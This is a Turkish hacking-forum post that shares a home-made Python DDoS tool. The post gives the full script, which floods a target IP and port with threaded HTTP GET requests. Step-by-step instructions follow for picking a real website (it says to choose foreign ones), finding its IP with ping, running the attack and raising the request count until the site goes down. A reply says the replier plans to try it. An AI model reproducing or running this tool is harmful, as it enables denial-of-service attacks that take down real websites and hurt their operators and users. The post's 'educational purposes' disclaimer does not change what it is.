Python ile DD0S Tool v1.0

SiberAslan

Üye
24 May 2024
121
49
Ötüken.
Merhaba değerli THT ailesi ben ATE$,
Bugün sizlere kendi yaptığım ddos tool'unu anlatmaya çalışacağım. Umarım yardımcı olurum.
NOT: YAPTIĞINIZ SALDIRILAR BENİM SORUNUM DEĞİLDİR, BU BİR ÖĞRENİM AMAÇLIDIR.
İlk başta yeni bir ".py" uzantılı bir dosya açıp aşağıda verdiğim kodu kopyalayalım ve dosyamıza yapıştıralım.
Python:
import socket
import argparse
import threading

def ddos_attack(target_ip, target_port, num_threads):
    def attack():
        while True:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((target_ip, target_port))
                s.sendto(("GET /" + target_ip + " HTTP/1.1\r\n").encode('ascii'), (target_ip, target_port))
                s.sendto(("Host: " + target_ip + "\r\n\r\n").encode('ascii'), (target_ip, target_port))
                s.close()
            except socket.error as e:
                print(f"Error connecting to the target: {e}")

    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=attack)
        thread.daemon = True
        threads.append(thread)

    for thread in threads:
        thread.start()

    for thread in threads:
        thread.join()

def main():
    parser = argparse.ArgumentParser(description="Powerful DDoS Tool")
    parser.add_argument("target_ip", type=str, help="Target IP address")
    parser.add_argument("target_port", type=int, help="Target port")
    parser.add_argument("num_threads", type=int, help="Number of threads to use for the attack")
 
    args = parser.parse_args()
 
    target_ip = args.target_ip
    target_port = args.target_port
    num_threads = args.num_threads
 
    print(f"Attacking {target_ip}:{target_port} with {num_threads} threads...")
    ddos_attack(target_ip, target_port, num_threads)
    print("Attack completed.")

if __name__ == "__main__":
    main()

Sonra bir hedef site belirleyelim. NOT: Yabancı siteler seçin lütfen.
Ben bir tane buldum.

Şimdi bu sitenin İp adresini bulmak için siteye ping atalım.

Ping atmak için ilk başta terminali açın.
Sonra aşağıdaki kodu yazalım.
NOT: Sitenin adını example.com olarak yazalım
Kod:
ping <hedef site>
Sonra aşağıdaki resimde kırmızı olarak işaretlediğimde yazacaktır.

Şimdi ordaki ip adresini kopyalayalım.
Terminale tekrardan bir kod yazacağız

NOT: ÖNCE DOSYANIN BULUNDUĞU DİZİNE GELİN (DİZİNE GİTMEK İÇİN cd yazın)
Kod:
python3 <dosyanızın ismi> (örneğin ddos.py) <port> (örneğin 80) <requests> (yani istek sayısı)
Aşağıdaki gibi yapabilirsiniz. Ben böyle yaptım.


Atack yaptığımızda site aşağıdaki gibi olacaktır büyük bir ihtimal ile. NOT: Eğer site patlamazsa request sayısını arttırın, eğer yine işe yaramıyorsa sitede güvenlik önlemleri alınmıştır.
Elinize saglik insallah aksam deneyecegim suanda isteyim..
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.